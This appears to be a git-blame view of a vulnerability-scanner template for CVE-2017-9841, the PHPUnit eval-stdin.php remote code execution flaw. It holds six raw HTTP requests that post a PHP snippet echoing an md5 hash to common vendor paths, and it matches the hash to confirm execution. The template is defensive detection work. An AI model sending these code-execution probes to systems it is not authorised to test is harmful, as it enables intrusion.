2021-01-02 05:02:50 +00:00
id : CVE-2017-9841
2020-08-07 08:02:28 +00:00
info :
2022-05-13 20:26:43 +00:00
name : PHPUnit - Remote Code Execution
2021-07-04 10:20:15 +00:00
author : Random_Robbie,pikpikcu
2021-09-10 11:26:40 +00:00
severity : critical
2022-05-13 20:26:43 +00:00
description : PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade to PHPUnit version 5.7.21 or 6.1.6 or later.
2021-08-18 11:37:49 +00:00
reference :
2021-04-18 13:00:27 +00:00
- https://github.com/cyberharsh/Php-unit-CVE-2017-9841
- https://github.com/RandomRobbieBF/phpunit-brute
2021-07-04 10:20:15 +00:00
- https://thephp.cc/articles/phpunit-a-security-risk
- https://twitter.com/sec715/status/1411517028012158976
2022-05-13 20:26:43 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-9841
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-9841
cwe-id : CWE-94
2024-01-29 17:11:14 +00:00
epss-score : 0.97477
2024-03-23 09:28:19 +00:00
epss-percentile : 0.99963
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:phpunit_project:phpunit:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 6
2023-07-11 19:49:27 +00:00
vendor : phpunit_project
product : phpunit
2024-01-14 09:21:50 +00:00
tags : cve2017,cve,php,phpunit,rce,kev,phpunit_project
2020-08-07 08:11:39 +00:00
2024-04-15 11:26:37 +00:00
variables :
string : "CVE-2017-9841"
2023-04-27 04:28:59 +00:00
http :
2021-07-04 10:20:15 +00:00
- raw :
- |
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host : {{Hostname}}
Content-Type : text/html
2021-07-04 10:32:51 +00:00
2024-04-15 11:26:37 +00:00
<?php echo md5("{{string}}");?>
2021-07-04 10:20:15 +00:00
- |
GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host : {{Hostname}}
Content-Type : text/html
2021-07-04 10:32:51 +00:00
2024-04-15 11:26:37 +00:00
<?php echo md5("{{string}}");?>
2021-07-04 10:20:15 +00:00
- |
GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host : {{Hostname}}
Content-Type : text/html
2021-07-04 10:32:51 +00:00
2024-04-15 11:26:37 +00:00
<?php echo md5("{{string}}");?>
2021-07-04 10:20:15 +00:00
- |
GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host : {{Hostname}}
Content-Type : text/html
2021-07-04 10:32:51 +00:00
2024-04-15 11:26:37 +00:00
<?php echo md5("{{string}}");?>
2021-07-04 10:20:15 +00:00
- |
GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host : {{Hostname}}
Content-Type : text/html
2021-07-04 10:32:51 +00:00
2024-04-15 11:26:37 +00:00
<?php echo md5("{{string}}");?>
2021-07-04 10:20:15 +00:00
- |
GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host : {{Hostname}}
Content-Type : text/html
2021-07-04 10:32:51 +00:00
2024-04-15 11:26:37 +00:00
<?php echo md5("{{string}}");?>
2021-07-04 10:20:15 +00:00
2020-08-07 08:02:28 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2020-08-07 08:02:28 +00:00
words :
2024-04-15 11:26:37 +00:00
- '{{md5(string)}}'
2020-08-07 08:02:28 +00:00
- type : status
status :
- 200
2024-04-23 10:06:08 +00:00
# digest: 490a0046304402202078c32d415f0d4e243e6fc17416ff9ade6bd20d2ae6a3ac252dfc8a6ee027c1022041e191ff34c16f28e3536af783ce63194343448ce56f545a72cec0572324b843:922c64590222798bb761d5b6d8e72950